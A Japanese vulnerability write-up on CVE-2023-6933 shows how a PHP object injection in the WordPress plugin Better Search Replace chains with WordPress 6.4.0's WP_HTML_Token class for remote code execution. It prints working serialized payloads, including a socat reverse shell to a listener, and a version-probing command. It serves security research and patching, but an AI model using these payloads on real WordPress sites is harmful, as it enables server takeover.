
CVE-2023-6933 脆弱性入門
WordPress 用プラグイン「Better Search Replace」には、PHP オブジェクトインジェクションとして知られる重大な脆弱性が存在します。このセキュリティ上の欠陥は、1.4.4 以前のすべてのバージョンに影響します。この脆弱性は、信頼できない入力のデシリアライズに起因しており、認証されていない攻撃者がシステム内に PHP オブジェクトを注入することを可能にします。特に、このプラグイン自体には PHP オブジェクトインジェクション (POI) チェーンは含まれていません。ただし、標的システムに POI チェーンを含む別の脆弱なプラグインやテーマがインストールされている場合、この脆弱性により、攻撃者は任意のファイルを削除したり、機密データにアクセスしたり、悪意のあるコードを実行したりする可能性があります。
この分析では、リモートコード実行 (RCE) の問題を修正するために対処された WordPress 6.4.0 の脆弱性についても取り上げます。さらに、これら 2 つの脆弱性を連鎖させて、認証されていないリモートコード実行を達成する可能性についても探ります。
Better Search Replace プラグインの現在の安定版を確認するには、次のコマンドを使用します:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
まず、分析用に 3 つの Docker コンテナをセットアップしました:
脆弱性をより深く理解するために、「Better Search Replace」プラグインの GitHub リポジトリ内の特定のコミットの分析を開始しました。これらのコミットには、脆弱性の性質と修正に関する重要な情報が含まれている可能性があります。

この関数では、次のパラメータを確認できます:
from: 置換対象のテキストです。to: 置換後のテキストです。data: 置換が必要なデータです。ここで重要なのは、データが $this->unserialize($data) 関数に直接渡されることです。

したがって、ここでは文字列がデシリアライズされることがわかります。
シリアル化されたオブジェクトを data にどこに注入できるかを判断するために、プラグインのビジュアルインターフェースを調べます。

したがって、これらのテーブルのいずれかにシリアル化されたオブジェクトを配置できますが、リモートコード実行 (RCE) を達成するには、脆弱なシリアル化オブジェクトが必要です。
WordPress バージョン 6.4.0 では、PHP オブジェクト WP_HTML_Token が導入されました。その構造と悪用の可能性の内訳は次のとおりです:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
__destruct メソッド内の call_user_func 関数が悪用の鍵となります。これには次のものが必要です:
$this->on_destroy: 呼び出し可能な関数。
$this->bookmark_name: 呼び出し可能な関数への引数。
これを悪用するために、main.php の末尾に次の行を追加してみました (注: シリアル化の前に call_user_func の行をコメントアウトしてください):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
ここで、ウェブサイトに認証されていないコメントを追加して、この理論をテストすることが可能です。

プラグインを使用してデシリアライズ関数をトリガーする時が来ました。

ファイルは期待どおりに作成されたため、デシリアライズ中およびオブジェクト破棄中の RCE は正しく機能します。

削除されたコメントの永続性: コメントが削除された場合でも、データベースには「ユーザーに表示されない」とタグ付けされたまま残ります。ただし、プラグインは表示されるコメントと表示されないコメントを区別せず、オブジェクトをデシリアライズし続けます。
ドライラン中のデシリアライズ: デシリアライズプロセスはドライラン中でも発生します。これはセキュリティ上の重大な見落としです。
初期評価: Wordfence による共通脆弱性評価システム (CVSS) の分類は誤っているように思われます。私の意見では、8.8 と評価されるべきです。
修正評価: 現在の CVSS スコアは 9.8 です。ただし、この評価では、コードのデシリアライズが発生するために「正しいテーブルでのユーザー操作が必要である」という事実が見落とされています。これを確認するために、研究者の Sam Pizzey 氏に連絡したところ、脆弱性の実行にはプラグインとの操作が誰かに必要であるという私の見解が裏付けられました。
リバースシェル技術に興味がある方のために、このプロセスを効率化するようにペイロードを調整しました。これは、誰でも登録できるウェブサイトに適用できます:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
プロフィールへの PHP オブジェクトの挿入

次に、着信接続を待機するリスナーを起動しました。


最後に、リバースシェル接続の受信に成功しました。

このドキュメントでは、CVE-2023-6933 脆弱性の影響、技術的詳細、および緩和策を含む詳細な概要を提供しました。この脆弱性を理解し対処することは、「Better Search Replace」プラグインを使用する WordPress インストールのセキュリティと整合性を維持するために不可欠です。
脆弱性に対処するには、Better Search Replace 1.4.4 より新しいバージョンに更新し、WordPress を更新してください。
作成者: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn プロフィール